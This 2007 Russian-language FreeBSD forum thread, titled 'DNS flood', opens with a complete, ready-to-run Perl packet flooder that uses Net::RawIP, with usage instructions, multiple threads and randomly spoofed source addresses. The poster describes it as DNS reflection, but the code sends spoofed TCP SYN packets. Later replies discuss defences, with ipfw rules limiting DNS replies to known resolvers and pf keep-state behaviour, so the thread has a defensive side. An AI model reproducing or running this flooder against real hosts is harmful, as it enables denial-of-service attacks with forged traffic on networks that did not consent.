DNS flood

Настройка сетевых служб, маршрутизации, фаерволлов. Проблемы с сетевым оборудованием.
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
100kg
ст. сержант
Сообщения: 393
Зарегистрирован: 2006-05-18 14:01:32

DNS flood

Непрочитанное сообщение 100kg » 2007-12-01 20:13:37

скрипт делает запрос к DNS а ответ шлется к атакуемой машине, нужен перл и net-rawip!, проверял на себе все работает, правда без фаерволла!

Код: Выделить всё

#!/usr/bin/perl

#Multithreads packet flooder with counterfeit ip
#Need additional perl module Net::RawIP (search.cpan.org)
#Using example: perl dos.pl -i 127.0.0.1 -n 10000 -t 100

#Cyber Lords Community
#http://www.cyberlords.net

require 'getopts.pl';
use Net::RawIP;
Getopts('i:n:t:');

die "Usage $0 -i <target> -n <number of packets> -t <number of threads>"

unless ($opt_i && $opt_n && $opt_t);
$pids = $opt_t;

#@flags=('urg','fin','syn','psh');

print "\n\nTarget: $opt_i";
print "\nThreads: $pids\n";
print "\nAttacks: $opt_n\n\n";


while($x<$opt_n){
    for ($i=0;$i<=$pids;$i++) {
	$x++;
	if ($pid=fork()) {
	    push(@forked,$pid);
	}
	else {


	    ##########SEND PACKET#########
	    $a = new Net::RawIP;
	    $opt_s=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));

	    #$flag=@flags[int(rand(@flags))];

	    $a->set({ ip => {saddr => $opt_s,
		     daddr => $opt_i
		},
		 tcp => {dest => int(rand(65536)),
		     source => int(rand(65536)),
		 urg => 0,
		 fin => 0,
		 syn => 1,
		 psh => 0}
	    });

	    $a->send;
##############################

	    print ".";
		exit;
	    }
    }

    killpidz();
}


sub killpidz {
  foreach (@forked) {
    chomp;
    waitpid($_,0);
    kill("TERM" => $_)
  }
  undef @forked;
}
Последний раз редактировалось 100kg 2007-12-02 0:15:09, всего редактировалось 1 раз.

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
dikens3
подполковник
Сообщения: 4856
Зарегистрирован: 2006-09-06 16:24:08
Откуда: Нижний Новгород
Контактная информация:

Re: DNS flood

Непрочитанное сообщение dikens3 » 2007-12-02 0:05:27

К чему бы это?
Лучше установить FreeBSD, чем потратить 30 лет на Linux'ы и выяснить какой из них хуже.

100kg
ст. сержант
Сообщения: 393
Зарегистрирован: 2006-05-18 14:01:32

Re: DNS flood

Непрочитанное сообщение 100kg » 2007-12-02 0:18:34

к тому что может есть решения к такой атаке?

Аватара пользователя
dikens3
подполковник
Сообщения: 4856
Зарегистрирован: 2006-09-06 16:24:08
Откуда: Нижний Новгород
Контактная информация:

Re: DNS flood

Непрочитанное сообщение dikens3 » 2007-12-02 0:21:03

Бррр... ipfw(pf) с включённым keep-state для udp. Разве что количеством входящего трафика возьмут.

К примеру зачем принимать ответы не с 53 порта от DNS серверов НЕ указанных в конфиге? (Т.е. примать нужно только от определённых DNS с 53 порта)

Код: Выделить всё

${fwcmd} add pass udp from ${dnsprov} 53 to me in via ${ifout}
Наглядный пример работы keep-state на pf (касательно DNS):
Сделал пинг http://www.transport.ru

Код: Выделить всё

rl0 icmp 62.118.252.74:512 <- 192.168.10.4       0:0
rl0 udp 213.177.96.1:53 <- 192.168.10.4:1032       SINGLE:MULTIPLE
tun0 icmp 192.168.10.4:512 -> 62.118.252.74       0:0
tun0 udp 192.168.10.4:1032 -> 213.177.96.1:53       MULTIPLE:SINGLE
rl0 - внутренняя сетевуха.

pf создал для rl0 и tun0 по 2-е сессии (по ним трафик вернётся обратно)
т.к. у меня обратный трафик может возвращаться только по сессиям, атака в пролёте, под критерии не попадёт, время сессий тоже уменьшается и запросы у меня только на определённые DNS.
Лучше установить FreeBSD, чем потратить 30 лет на Linux'ы и выяснить какой из них хуже.

100kg
ст. сержант
Сообщения: 393
Зарегистрирован: 2006-05-18 14:01:32

Re: DNS flood

Непрочитанное сообщение 100kg » 2007-12-02 0:29:33

принимать ответы на 53 порт
все верно

Аватара пользователя
dikens3
подполковник
Сообщения: 4856
Зарегистрирован: 2006-09-06 16:24:08
Откуда: Нижний Новгород
Контактная информация:

Re: DNS flood

Непрочитанное сообщение dikens3 » 2007-12-02 0:31:37

100kg писал(а):
принимать ответы на 53 порт
все верно
Ну да, потерялся я. Верно думаешь. Исправил своё сообщение.
Лучше установить FreeBSD, чем потратить 30 лет на Linux'ы и выяснить какой из них хуже.

Аватара пользователя
helloworld
ст. сержант
Сообщения: 368
Зарегистрирован: 2007-10-03 8:06:37
Откуда: Northern Colorado

Re: DNS flood

Непрочитанное сообщение helloworld » 2007-12-02 19:10:37

100kg

Хотелось бы получить вразумительный ответ на мой философский вопрос: зачем заниматься подобными вещами ? Если работает, то зачем ломать ?

ps: вспоминается поговорка: ломать - не строить.

Аватара пользователя
dikens3
подполковник
Сообщения: 4856
Зарегистрирован: 2006-09-06 16:24:08
Откуда: Нижний Новгород
Контактная информация:

Re: DNS flood

Непрочитанное сообщение dikens3 » 2007-12-02 22:17:54

ps: вспоминается поговорка: ломать - не строить.
Прежде чем ломать, нужно понять, что необходимо будет строить. А строить нужно уметь.

Вообще правильно 100kg думает, нашёл проблему, ищет решение. Хочешь защититься, стань хакером?
Лучше установить FreeBSD, чем потратить 30 лет на Linux'ы и выяснить какой из них хуже.

100kg
ст. сержант
Сообщения: 393
Зарегистрирован: 2006-05-18 14:01:32

Re: DNS flood

Непрочитанное сообщение 100kg » 2007-12-02 22:42:59

когда увидел что cpu load 100% и с локалки инет не идет!сразу вспотел! и судорожно понял что любой мальчик может меня послать в /dev/null, вот и решил предупредить всех кто не знает о сеи проблеме и узнать решения. ждать не пришлось долго, спасибо вам dikens3